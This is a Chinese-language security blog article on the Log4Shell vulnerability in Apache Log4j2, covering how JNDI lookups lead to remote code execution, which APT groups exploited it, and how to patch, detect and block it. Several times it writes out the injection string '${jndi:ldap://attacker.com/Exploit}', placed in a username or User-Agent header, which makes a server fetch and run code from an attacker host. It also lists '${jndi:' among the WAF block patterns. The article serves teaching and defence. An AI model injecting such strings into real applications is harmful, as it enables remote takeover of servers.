一行
${jndi:ldap://...},就足以让全球半数以上的 Java 应用”主动连接”攻击者的服务器,并交出执行权限。
它被评为 Java 生态史上影响最广的漏洞,连朝鲜的 Lazarus、伊朗的 APT 都第一时间加入了利用狂欢。
引言:一个日志功能,如何变成”全网后门”
2021 年 12 月,一条消息引爆了整个网络安全圈:全球最流行的 Java 日志库 Apache Log4j2 存在一个零日漏洞,攻击者只需要让应用日志里”记录”一段特殊字符串,就能远程执行任意代码(RCE)。
这个漏洞被命名为 Log4Shell,编号 CVE-2021-44228,CVSS 评分 10.0(满分)。
它之所以被称为”完美漏洞”,是因为:
- 利用门槛极低:无需任何前置条件,只需触发一次日志记录。
- 影响范围极广:Log4j2 被用于全球数十亿设备与应用——从 Minecraft 游戏服务器、苹果 iCloud、到亚马逊、谷歌、阿里、腾讯的云服务,无一幸免。
- 攻击面无处不在:用户输入的任意字段(用户名、User-Agent、URL 参数)都可能进入日志,从而成为”武器”。
一句话定义它:
Log4Shell = 一个”日志记录”功能,因支持 JNDI 查找而变成了”任意代码执行”的后门。
一、漏洞原理:${jndi:ldap://...} 为什么如此危险?
1.1 Log4j2 的”查找(Lookup)”功能
Log4j2 为了灵活,支持在日志消息中使用占位符来动态替换内容,语法是 ${...}。例如:
1 | logger.info("当前用户是:${java:os}"); // 会输出操作系统信息 |
这些 ${...} 被称为**”查找(Lookup)”,java、env 是内置的查找类型。而问题,就出在其中一个类型上——jndi**。
1.2 JNDI:Java 的”远程资源定位”机制
JNDI(Java Naming and Directory Interface) 是 Java 用来查找远程资源的接口,支持 ldap://、rmi:// 等协议。
1 | // JNDI 的典型用法:通过 LDAP 查找一个远程对象 |
关键问题:lookup() 在找到远程对象后,会自动加载并实例化它——如果这个”对象”是一个恶意类,就会触发恶意代码执行。
1.3 致命组合:日志占位符 + JNDI
Log4j2 的 jndi 查找类型,允许日志消息里出现这样的字符串:
1 | ${jndi:ldap://attacker.com/Exploit} |
当 Log4j2 处理这条日志时,它会:
- 看到
${jndi:...}占位符; - 调用 JNDI 的
lookup("ldap://attacker.com/Exploit"); - 从攻击者的 LDAP 服务器下载并执行恶意类。
于是,“记一条日志”就变成了”执行任意代码”。
1.4 攻击者如何注入这段字符串?
攻击者不需要直接控制代码,只需要让这段字符串进入日志即可。而日志记录的来源无处不在:
1 | - HTTP 请求头:User-Agent、X-Forwarded-For、Referer |
例如,攻击者在登录框里输入的用户名不是 admin,而是:
1 | ${jndi:ldap://attacker.com/Exploit} |
如果应用把”登录失败的用户名”写进了日志,那么这条”用户名”就会触发 RCE。
二、完整攻击链:从一段字符串到服务器沦陷
从技术层面还原 Log4Shell 的完整攻击链:
1 | 攻击者构造恶意字符串 |
2.1 攻击者的 LDAP 服务器配置(概念示例)
攻击者会搭建一个恶意的 LDAP/RMI 服务器,返回恶意类。概念代码如下(脱敏,仅供安全教育):
1 | // 概念示例:恶意类——其 static 代码块会执行系统命令 |
1 | // 概念示例:攻击者架设 LDAP 服务器,将 lookup 请求重定向到恶意类 |
2.2 触发攻击的 PoC 概念
攻击者只需向目标发送一个”带毒”的请求头:
1 | # 概念示例:通过 User-Agent 注入恶意字符串(脱敏,仅供安全教育) |
一旦目标的 Web 应用把 User-Agent 写入日志,攻击链就会被触发。
三、谁在利用 Log4Shell?——APT 组织的”狂欢”
Log4Shell 的利用门槛极低 + 影响面极广,使它成为几乎所有攻击者的”标配武器”。其中,几个国家级 APT 组织的反应尤其值得记录:
3.1 Lazarus(朝鲜)——最早、最积极的利用者之一
- Log4Shell 公开后,Lazarus 是最早发动大规模利用的 APT 组织之一。
- 攻击目标覆盖金融、区块链、加密货币交易所——与其”抢钱”的使命高度一致。
- 手法:利用 Log4Shell 做初始入侵,随后植入其标志性后门(如 BlindingCan、AppleJeus)。
本站已写《Lazarus:朝鲜”隐藏眼镜蛇”》——Log4Shell 正是它工具箱里的一件”利器”。
3.2 伊朗系 APT(APT33 / Charming Kitten 等)
- 伊朗系 APT 也迅速将 Log4Shell 纳入武器库,针对政府、能源、科技目标发动利用。
- 与 Charming Kitten 的”社工钓鱼”不同,Log4Shell 给了它们一个**”无需社工、直接 RCE”**的技术捷径。
3.3 勒索软件团伙与僵尸网络
- 勒索软件(Conti、LockBit 等加盟商)大量利用 Log4Shell 做初始入侵。
- 僵尸网络(如 Mirai 变种、Kinsing 挖矿木马)用它批量攻陷云主机、容器,植入挖矿程序。
Log4Shell 的”可怕”在于:它同时被国家级 APT、勒索团伙、挖矿僵尸网络三方利用——一个漏洞,养活了整个攻击生态。
四、为什么影响如此巨大?——Log4j2 的”无处不在”
Log4Shell 影响范围空前,根源在于 Log4j2 的**”地基级”地位**:
| 领域 | 使用场景 |
|---|---|
| 云服务 | AWS、Azure、阿里云、腾讯云的大量内部组件 |
| 互联网 | 苹果 iCloud、谷歌、Twitter、Steam |
| 游戏 | Minecraft(最著名的”被秒破”案例) |
| 企业级 | 无数 Java 后端应用、中间件、框架 |
| 安全设备 | 部分防火墙、SIEM 自身也用了 Log4j2 |
Minecraft 案例(最出圈的利用):
- 攻击者在游戏聊天框里发送
${jndi:ldap://...}字符串。 - 游戏服务器的 Log4j2 记录了这条聊天消息 → 触发 RCE。
- 只需在聊天里”发一句话”,就能控制整个游戏服务器——这直观地展示了漏洞的”零门槛”。
五、漏洞修复:从 2.15 到 2.17 的”连环坑”
Log4Shell 的修复过程,也堪称一波三折:
| 版本 | 修复内容 | 新问题 |
|---|---|---|
| 2.15.0 | 禁用 JNDI 默认查找 | 修复不彻底,仍可被绕过 |
| 2.16.0 | 彻底移除 JNDI 查找 | 又发现 DoS 漏洞(CVE-2021-45046) |
| 2.17.0 | 修复 DoS 等剩余问题 | 仍有后续小幅修复 |
最终的正确修复建议:
1 | # 升级到安全版本(2.17.1 或更高) |
临时缓解措施(无法立即升级时):
1 | - 设置 JVM 参数:-Dlog4j2.formatMsgNoLookups=true |
六、检测与防御:如何发现和防范 Log4Shell?
检测维度
| 检测点 | 方法 |
|---|---|
日志中是否有 ${jndi: 字符串 |
日志审计、WAF 规则 |
| 出站 LDAP/RMI 连接(389/1389/1099 端口) | 网络流量监控 |
异常的 Class.forName / InitialContext.lookup |
运行时检测(RASP) |
| 是否加载了未知的远程类 | EDR / 沙箱 |
防御建议
- 升级是根本:将 Log4j2 升级到 2.17.1+。
- WAF 拦截:拦截包含
${jndi:、${lower:、${upper:等模式的请求。 - 网络隔离:限制服务器对外部 LDAP/RMI 的出站访问(Log4Shell 需要”回连”攻击者服务器)。
- 最小权限:应用以低权限运行,即使被 RCE 也限制杀伤面。
- SBOM 盘点:建立依赖清单,快速定位哪些系统用了 Log4j2。
一个实用的检测思路:Log4Shell 的本质是”日志里的字符串触发了对外连接“,因此监控**”服务器对外部 389/1389/1099 端口的异常连接”**,是发现它的最有效信号之一。
七、结语:一个”日志”引发的全球反思
Log4Shell 的意义,远不止一个漏洞:
它揭示了一个残酷的现实——现代软件的”地基”是海量开源组件堆叠起来的,而任何一个组件的一个”小功能”,都可能成为全球性的安全灾难。
它也让”软件供应链安全”从技术议题,上升为国家战略:Log4Shell 之后,各国纷纷推动 SBOM(软件物料清单)、关键基础设施的开源安全审查。
对开发者而言,Log4Shell 是一堂最昂贵的课:你写的每一行日志、引入的每一个依赖,都可能是未来某个漏洞的入口。
检测建议:与本站技术系列的联动
| 本文技术点 | 延伸阅读 |
|---|---|
| JNDI / 反序列化原理 | 《Java 序列化与反序列化》 |
| Java 反序列化三巨头 | 《Java 反序列化攻击面:WebLogic / Fastjson / Shiro》 |
| 供应链投毒 | 《xz-utils 后门事件复盘》 |
| APT 组织利用 | 《Lazarus》《Charming Kitten》 |
参考资料
- CVE-2021-44228 / CVE-2021-45046 官方描述
- Apache Log4j2 官方安全公告
- 各国 CERT(US-CERT、CNCERT 等)关于 Log4Shell 的预警
- 各安全厂商关于 Lazarus 等组织利用 Log4Shell 的归因报告
本文基于公开资料整理撰写,仅供网络安全研究与教育目的使用,不构成任何安全或法律建议。
相关文章
本文是「Java 反序列化/漏洞利用」系列的一员:
- 《Java 反序列化攻击面(一):WebLogic 的 T3 协议与”漏洞打地鼠”史》 —— 反序列化漏洞的第一站
- 《Java 反序列化攻击面(二):Fastjson 的 autoType 与”修复 vs 绕过”拉锯战》 —— 反序列化漏洞的攻防拉锯
- 《Java 反序列化攻击面(三):Shiro 的 rememberMe 与”默认密钥”之罪》 —— 反序列化漏洞的框架侧
- 《xz-utils 后门事件复盘:一次险些瘫痪全球 Linux 的”完美供应链投毒”》 —— 供应链攻击的另一形态
- 《CVE-2025-24813 Tomcat PUT漏洞POC——反序列化RCE的完整利用链》 —— Java 中间件的漏洞全景
评论